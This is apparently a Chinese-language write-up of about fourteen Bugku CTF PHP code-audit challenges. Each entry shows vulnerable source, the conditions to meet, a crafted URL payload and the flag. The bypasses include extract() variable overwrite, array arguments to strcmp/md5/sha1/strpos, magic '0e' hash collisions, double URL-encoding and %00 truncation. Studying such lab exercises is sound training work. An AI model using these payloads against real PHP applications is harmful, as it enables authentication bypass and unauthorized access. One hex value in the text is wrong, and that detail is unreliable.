第一題:extract變數覆蓋 知識簡介 extract()函數語法: 題目信息 Topic Link:http://123.206.87.240:9009/1.php 利用extract()函數的變數覆蓋漏洞原理構造payload 漏洞產生原因:extract()函數當只有一個參數時,預設的第二參 ...
第一題:extract變數覆蓋
知識簡介
extract()函數語法:
extract(array,extract_rules,prefix) 參數 描述 array必需。 規定要使用的數組。 extract_rules可選。 extract() 函數將檢查每個鍵名是否為合法的變數名,同時也檢查和符號表中已存在的變數名是否衝突。對不合法和衝突的鍵名的處理將根據此參數決定。 可能的值: EXTR_OVERWRITE - 預設。如果有衝突,則覆蓋已有的變數。 EXTR_SKIP - 如果有衝突,不覆蓋已有的變數。 EXTR_PREFIX_SAME - 如果有衝突,在變數名前加上首碼 prefix。 EXTR_PREFIX_ALL - 給所有變數名加上首碼 prefix。 EXTR_PREFIX_INVALID -僅在不合法或數字變數名前加上首碼 prefix。 EXTR_IF_EXISTS - 僅在當前符號表中已有同名變數時,覆蓋它們的值。其它的都不處理。 EXTR_PREFIX_IF_EXISTS - 僅在當前符號表中已有同名變數時,建立附加了首碼的變數名,其它的都不處理。 EXTR_REFS - 將變數作為引用提取。導入的變數仍然引用了數組參數的值。 prefix可選。 如果 extract_rules 參數的值是 EXTR_PREFIX_SAME、EXTR_PREFIX_ALL、 EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS,則 prefix 是必需的。
題目信息
Topic Link:http://123.206.87.240:9009/1.php
http://123.206.87.240:9009/1.php <?php $flag='xxx'; extract($_GET); if(isset($shiyan)) { $content=trim(file_get_contents($flag)); if($shiyan==$content) { echo'flag{xxx}'; } else { echo'Oh.no'; } } ?>
利用extract()函數的變數覆蓋漏洞原理構造payload
漏洞產生原因:extract()函數當只有一個參數時,預設的第二參數是:EXTR_OVERWRITE,如果有變數發生衝突,則覆蓋已有的變數。
代碼審計需要滿足兩個條件:1. if(isset($shiyan)) == 》 TRUE
2. if($shiyan==$content) == 》 TRUE
構造payload:
//利用extract()函數變數覆蓋漏洞+php偽協議 http://123.206.87.240:9009/1.php?shiyan=999&flag=data://,999 //利用file_get_content()函數返回字元串+php弱類型(null == "string" ==》 true) http://123.206.87.240:9009/1.php?shiyan= http://123.206.87.240:9009/1.php?shiyan=&flag= http://123.206.87.240:9009/1.php?shiyan=&content=
get flag:
flag{bugku-dmsj-p2sm3N}
第二題:strcmp比較字元串
知識簡介
strcmp()函數語法:
int strcmp( string $str1, string $str2) 註意該比較區分大小寫。 參數 str1 第一個字元串。 str2 第二個字元串。 返回值 如果 str1 小於 str2 返回 < 0;如果 str1 大於 str2 返回 > 0;如果兩者相等,返回 0。
題目信息
Topic Link:http://123.206.87.240:9009/6.php
<?php $flag = "flag{xxxxx}"; if (isset($_GET['a'])) { if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小於 str2 返回 < 0; 如果 str1大於 str2返回 > 0;如果兩者相等,返回 0。 //比較兩個字元串(區分大小寫) die('Flag: '.$flag); else print 'No'; } ?>
利用strcmp()函數不能處理數組的漏洞構造payload
代碼審計需要滿足兩個條件:1. if (isset($_GET['a'])) ==》 TRUE
2. if (strcmp($_GET['a'], $flag) == 0) ==》 TRUE
構造payload:
http://123.206.87.240:9009/6.php?a[]
get flag:
Flag: flag{bugku_dmsj_912k}
第三題:urldecode二次編碼繞過
知識簡介
eregi()函數語法:
eregi — 不區分大小寫的正則表達式匹配 int eregi( string $pattern, string $string[, array &$regs] ) 本函數和 ereg() 完全相同,只除了在匹配字母字元時忽略大小寫的區別。 ereg()函數 int ereg ( string $pattern , string $string [, array &$regs ] ) 以區分大小寫的方式在 string 中尋找與給定的正則表達式 pattern 所匹配的子串。 如果找到與 pattern 中圓括弧內的子模式相匹配的子串並且函數調用給出了第三個參數 regs,則匹配項將被存入 regs 數組中。$regs[1] 包含第一個左圓括弧開始的子串,$regs[2] 包含第二個子串,以此類推。$regs[0] 包含整個匹配的字元串。 如果在 string 中找到 pattern 模式的匹配則返回所匹配字元串的長度,如果沒有找到匹配或出錯則返回 FALSE。如果沒有傳遞入可選參數 regs 或者所匹配的字元串長度為 0,則本函數返回 1。
題目信息
Topic Link:http://123.206.87.240:9009/10.php
<?php if(eregi("hackerDJ",$_GET[id])) { echo(" not allowed! "); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "hackerDJ") { echo " Access granted! "; echo " flag "; } ?>
利用瀏覽器預設對提交的數據進行一次url解碼
代碼審計需要滿足兩個條件:1. id裡面不能包含字元串“hackerDJ”
2. id經過urldecode()之後等於字元串“hackerDJ”
構造payload:
//只需對字元串"hackerDJ"一部分二次url編碼即可 h對應的十六進位碼為0x108 %108進行一次url編碼%2568
http://123.206.87.240:9009/10.php?id=%2568ackerDJ
get flag:
Access granted!
flag{bugku__daimasj-1t2}
第四題:md5()函數
知識簡介
MD5()函數語法:
md5 — 計算字元串的 MD5 散列值 string md5( string $str[, bool $raw_output = false] ) 參數 str 原始字元串。 raw_output 如果可選的 raw_output 被設置為 TRUE,那麼 MD5 報文摘要將以16位元組長度的原始二進位格式返回。 返回值 以 32 字元十六進位數字形式返回散列值。
題目信息
Topic Link:http://123.206.87.240:9009/18.php
<?php error_reporting(0); $flag = 'flag{test}'; if (isset($_GET['username']) and isset($_GET['password'])) { if ($_GET['username'] == $_GET['password']) print 'Your password can not be your username.'; else if (md5($_GET['username']) === md5($_GET['password'])) die('Flag: '.$flag); else print 'Invalid password'; } ?>
利用MD5函數不能處理數組進行構造payload
代碼審計需要滿足兩個條件:1. username和password的值不能相同
2. username和password的MD5值相同
構造payload:
http://123.206.87.240:9009/18.php?username[]=999&password[]=666
get flag:
Flag: flag{bugk1u-ad8-3dsa-2}
第五題:數組返回NULL繞過
知識簡介
ereg()函數語法:
int ereg ( string $pattern , string $string [, array &$regs ] ) 以區分大小寫的方式在 string 中尋找與給定的正則表達式 pattern 所匹配的子串。 如果找到與 pattern 中圓括弧內的子模式相匹配的子串並且函數調用給出了第三個參數 regs,則匹配項將被存入 regs 數組中。$regs[1] 包含第一個左圓括弧開始的子串,$regs[2] 包含第二個子串,以此類推。$regs[0] 包含整個匹配的字元串。 如果在 string 中找到 pattern 模式的匹配則返回所匹配字元串的長度,如果沒有找到匹配或出錯則返回 FALSE。如果沒有傳遞入可選參數 regs 或者所匹配的字元串長度為 0,則本函數返回 1。
strpos()函數語法:
strpos — 查找字元串首次出現的位置 int strpos( string $haystack, mixed $needle[, int $offset = 0] ) 返回 needle 在 haystack 中首次出現的數字位置。 參數 haystack 在該字元串中進行查找。 needle 如果 needle 不是一個字元串,那麼它將被轉換為整型並被視為字元的順序值。 offset 如果提供了此參數,搜索會從字元串該字元數的起始位置開始統計。如果是負數,搜索會從字元串結尾指定字元數開始。 返回值 返回 needle 存在於 haystack 字元串起始的位置(獨立於 offset)。同時註意字元串位置是從0開始,而不是從1開始的。 如果沒找到 needle,將返回 FALSE。
題目信息
Topic Link:http://123.206.87.240:9009/19.php
<?php $flag = "flag"; if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) echo 'You password must be alphanumeric'; else if (strpos ($_GET['password'], '--') !== FALSE) die('Flag: ' . $flag); else echo 'Invalid password'; } ?>
利用strpos()函數不能處理數組的漏洞構造payload
代碼審計需要滿足兩個條件:1. if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) == 》 FALSE
2. if (strpos ($_GET['password'], '--') !== FALSE) == 》 TRUE
構造payload:
http://123.206.87.240:9009/19.php?password[]=
get flag:
Flag: flag{ctf-bugku-ad-2131212}
第六題:弱類型整數大小比較繞過
知識簡介
is_numeric()函數語法:
is_numeric — 檢測變數是否為數字或數字字元串 bool is_numeric( mixed $var) 如果 var 是數字和數字字元串則返回 TRUE,否則返回 FALSE。
題目信息
Topic Link:http://123.206.87.240:9009/22.php
$temp = $_GET['password']; is_numeric($temp)?die("no numeric"):NULL; if($temp>1336){ echo $flag;
利用php弱類型漏洞構造payload
代碼審計需要滿足兩個條件:1. is_numeric($temp) ==》 FALSE
2. if($temp>1336) ==》 TRUE
構造payload:
http://123.206.87.240:9009/22.php?password=99999asd
get flag:
flag{bugku_null_numeric}
第七題:sha()函數比較繞過
知識簡介
sha1()函數語法:
(PHP 4 >= 4.3.0, PHP 5, PHP 7) sha1 — 計算字元串的 sha1 散列值 string sha1( string $str[, bool $raw_output = false] ) 參數 str 輸入字元串。 raw_output 如果可選的 raw_output 參數被設置為 TRUE,那麼 sha1 摘要將以 20 字元長度的原始格式返回,否則返回值是一個 40 字元長度的十六進位數字。 返回值 返回 sha1 散列值字元串。
題目信息
Topic Link:http://123.206.87.240:9009/7.php
<?php $flag = "flag"; if (isset($_GET['name']) and isset($_GET['password'])) { var_dump($_GET['name']); echo " "; var_dump($_GET['password']); var_dump(sha1($_GET['name'])); var_dump(sha1($_GET['password'])); if ($_GET['name'] == $_GET['password']) echo ' Your password can not be your name! '; else if (sha1($_GET['name']) === sha1($_GET['password'])) die('Flag: '.$flag); else echo ' Invalid password. '; } else echo ' Login first! '; ?>
利用sha1函數不能處理數組進行構造payload
代碼審計需要滿足三個條件:1. if (isset($_GET['name']) and isset($_GET['password'])) ==》TRUE
2. if ($_GET['name'] == $_GET['password']) ==》FALSE
3. if (sha1($_GET['name']) === sha1($_GET['password'])) ==》TRUE
構造payload:
http://123.206.87.240:9009/7.php?name[]=999&password[]=99999
get flag:
Flag: flag{bugku--daimasj-a2}
第八題:md5加密相等繞過
知識簡介
MD5()函數語法:
md5 — 計算字元串的 MD5 散列值
string md5( string $str[, bool $raw_output = false] )
參數
str
原始字元串。
raw_output
如果可選的 raw_output 被設置為 TRUE,那麼 MD5 報文摘要將以16位元組長度的原始二進位格式返回。
返回值
以 32 字元十六進位數字形式返回散列值。
題目信息
Topic Link:http://123.206.87.240:9009/13.php
<?php $md51 = md5('QNKCDZO'); $a = @$_GET['a']; $md52 = @md5($a); if(isset($a)){ if ($a != 'QNKCDZO' && $md51 == $md52) { echo "flag{*}"; } else { echo "false!!!"; }} else{echo "please input a";} ?>
利用MD5函數處理的特殊字元串進行繞過構造payload
//下麵的特殊字元串經過MD5函數處理過之後相等 QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514
代碼審計需要滿足兩個條件:1. if(isset($a)) ==》TRUE
2. if ($a != 'QNKCDZO' && $md51 == $md52) ==》TRUE
構造payload:
http://123.206.87.240:9009/13.php?a=s878926199a
get flag:
flag{bugku-dmsj-am9ls}
第九題:十六進位與數字比較
知識簡介
ord()函數語法:
int ord( string $string) 返回字元串 string 第一個字元的 ASCII 碼值。 該函數是 chr() 的互補函數。 參數 string 一個字元。 返回值 返回整型的 ASCII 碼值。
題目信息
Topic Link:http://123.206.87.240:9009/20.php
<?php error_reporting(0); function noother_says_correct($temp) { $flag = 'flag{test}'; $one = ord('1'); //ord — 返回字元的 ASCII 碼值 $nine = ord('9'); //ord — 返回字元的 ASCII 碼值 $number = '3735929054'; // Check all the input characters! for ($i = 0; $i < strlen($number); $i++) { // Disallow all the digits! $digit = ord($temp{$i}); if ( ($digit >= $one) && ($digit <= $nine) ) { // Aha, digit not allowed! return "flase"; } } if($number == $temp) return $flag; } $temp = $_GET['password']; echo noother_says_correct($temp); ?>
利用雙等於號"=="可以對不同進位的數比較來構造payload
代碼審計需要滿足兩個條件:1. if ( ($digit >= $one) && ($digit <= $nine) ) ==》 FALSE // password的值裡面不能包含數字1-9,‘3735929054' 轉化為十六進位 0xdeadc0de 碰巧裡面的字元都沒在1-9裡面
2. if($number == $temp) ==》 TRUE //十進位和十六進位之間的比較
構造payload:
http://123.206.87.240:9009/20.php?password=0xdeadc0de
get flag:
flag{Bugku-admin-ctfdaimash}
第十題:變數覆蓋
變數覆蓋????? 怎麼感覺像是伺服器被覆蓋了!!!!!
第十一題:ereg正則%00截斷
知識簡介
ereg()函數語法:
int ereg ( string $pattern , string $string [, array &$regs ] ) 以區分大小寫的方式在 string 中尋找與給定的正則表達式 pattern 所匹配的子串。 如果找到與 pattern 中圓括弧內的子模式相匹配的子串並且函數調用給出了第三個參數 regs,則匹配項將被存入 regs 數組中。$regs[1] 包含第一個左圓括弧開始的子串,$regs[2] 包含第二個子串,以此類推。$regs[0] 包含整個匹配的字元串。 如果在 string 中找到 pattern 模式的匹配則返回所匹配字元串的長度,如果沒有找到匹配或出錯則返回 FALSE。如果沒有傳遞入可選參數 regs 或者所匹配的字元串長度為 0,則本函數返回 1。
strlen()函數語法:
int strlen( string $string) 返回給定的字元串 string 的長度。 參數 string 需要計算長度的字元串。 返回值 成功則返回字元串 string 的長度;如果 string 為空,則返回 0。
strpos()函數語法:
strpos — 查找字元串首次出現的位置 int strpos( string $haystack, mixed $needle[, int $offset = 0] ) 返回 needle 在 haystack 中首次出現的數字位置。 參數 haystack 在該字元串中進行查找。 needle 如果 needle 不是一個字元串,那麼它將被轉換為整型並被視為字元的順序值。 offset 如果提供了此參數,搜索會從字元串該字元數的起始位置開始統計。如果是負數,搜索會從字元串結尾指定字元數開始。 返回值 返回 needle 存在於 haystack 字元串起始的位置(獨立於 offset)。同時註意字元串位置是從0開始,而不是從1開始的。 如果沒找到 needle,將返回 FALSE。
題目信息
Topic Link:http://123.206.87.240:9009/5.php
<?php $flag = "xxx"; if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) { echo ' You password must be alphanumeric '; } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) { if (strpos ($_GET['password'], '-') !== FALSE) //strpos — 查找字元串首次出現的位置 { die('Flag: ' . $flag); } else { echo(' - have not been found '); } } else { echo ' Invalid password '; } } ?>
題目代碼有誤(也不知道是怎麼個回事 mmp),正確代碼應該是:
if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) { echo '<p>You password must be alphanumeric</p>'; } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) { if (strpos ($_GET['password'], '*-*') !== FALSE) { die('Flag: ' . $flag); } else { echo('<p>*-* have not been found</p>'); } } else { echo '<p>Invalid password</p>'; }
利用strlen()函數和strpos()函數不能處理數組進行構造payload
或
利用ereg()函數的%00截斷漏洞進行構造payload
代碼審計需要滿足三個條件:1. if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) ==》 FLASE
2. if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) //正常感覺矛盾,但是可以利用科學計數法繞過1e8 > 9999999
3. if (strpos ($_GET['password'], '*-*') !== FALSE) //password的值應包含字元串 '*-*'
構造payload:
http://123.206.87.240:9009/5.php?password=1e8%00*-* http://123.206.87.240:9009/5.php?password[]=
get flag:
Flag: flag{bugku-dm-sj-a12JH8}
第十二題:strpos數組繞過
知識簡介
strpos()函數語法:
strpos — 查找字元串首次出現的位置 int strpos( string $haystack, mixed $needle[, int $offset = 0] ) 返回 needle 在 haystack 中首次出現的數字位置。 參數 haystack 在該字元串中進行查找。 needle 如果 needle 不是一個字元串,那麼它將被轉換為整型並被視為字元的順序值。 offset 如果提供了此參數,搜索會從字元串該字元數的起始位置開始統計。如果是負數,搜索會從字元串結尾指定字元數開始。 返回值 返回 needle 存在於 haystack 字元串起始的位置(獨立於 offset)。同時註意字元串位置是從0開始,而不是從1開始的。 如果沒找到 needle,將返回 FALSE。
題目信息
Topic Link:http://123.206.87.240:9009/15.php<?php $flag = "flag"; if (isset ($_GET['ctf'])) { if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE) echo '必須輸入數字才行'; else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE) die('Flag: '.$flag); else echo '騷年,繼續努力吧啊~'; } ?>
利用strpos()函數不能處理數組進行構造payload
代碼審計需要滿足兩個條件:1. if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE) ==》 FALSE
2. if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE) ==》 TRUE
構造payload:
http://123.206.87.240:9009/15.php?ctf[]=
get flag:
Flag: flag{Bugku-D-M-S-J572}
第十三題:數字驗證正則繞過
知識簡介
preg_match()函數學習:
int preg_match( string $pattern, string $subject[, array &$matches[, int $flags = 0[, int $offset = 0]]] ) 搜索subject與pattern給定的正則表達式的一個匹配. 參數 pattern 要搜索的模式,字元串類型。 subject 輸入字元串。 matches 如果提供了參數matches,它將被填充為搜索結果。 $matches[0]將包含完整模式匹配到的文本, $matches[1] 將包含第一個捕獲子組匹配到的文本,以此類推。 flags flags可以被設置為以下標記值: PREG_OFFSET_CAPTURE 如果傳遞了這個標記,對於每一個出現的匹配返回時會附加字元串偏移量(相對於目標字元串的)。註意:這會改變填充到matches參數的數組,使其每個元素成為一個由第0個元素是匹配到的字元串,第1個元素是該匹配字元串在目標字元串subject中的偏移量。 offset 通常,搜索從目標字元串的開始位置開始。可選參數 offset 用於指定從目標字元串的某個位置開始搜索(單位是位元組)。 返回值 preg_match()返回 pattern 的匹配次數。它的值將是0次(不匹配)或1次,因為preg_match()在第一次匹配後將會停止搜索。preg_match_all()不同於此,它會一直搜索subject 直到到達結尾。如果發生錯誤preg_match()返回 FALSE。
題目信息
Topic Link:http://123.206.87.240:9009/21.php
<?php error_reporting(0); $flag = 'flag{test}'; if ("POST" == $_SERVER['REQUEST_METHOD']) { $password = $_POST['password']; if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 執行一個正則表達式匹配 { echo 'flag'; exit; } while (TRUE) { $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; if (6 > preg_match_all($reg, $password, $arr)) break; $c = 0; $ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何標點符號 [[:digit:]] 任何數字 [[:upper:]] 任何大寫字母 [[:lower:]] 任何小寫字母 foreach ($ps as $pt) { if (preg_match("/[[:$pt:]]+/", $password)) $c += 1; } if ($c < 3) break; //>=3,必須包含四種類型三種與三種以上 if ("42" == $password) echo $flag; else echo 'Wrong password'; exit; } } ?>
利用preg_match()函數不能處理數組進行構造payload
代碼審計需要滿足一個條件:1. if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) ==》 TRUE
構造payload:
http://123.206.87.240:9009/21.php post: password[]=
get flag:
flag{Bugku_preg_match}
第十四題:簡單的waf
和第十題(變數覆蓋)一樣,題目打不開!!!!! *-*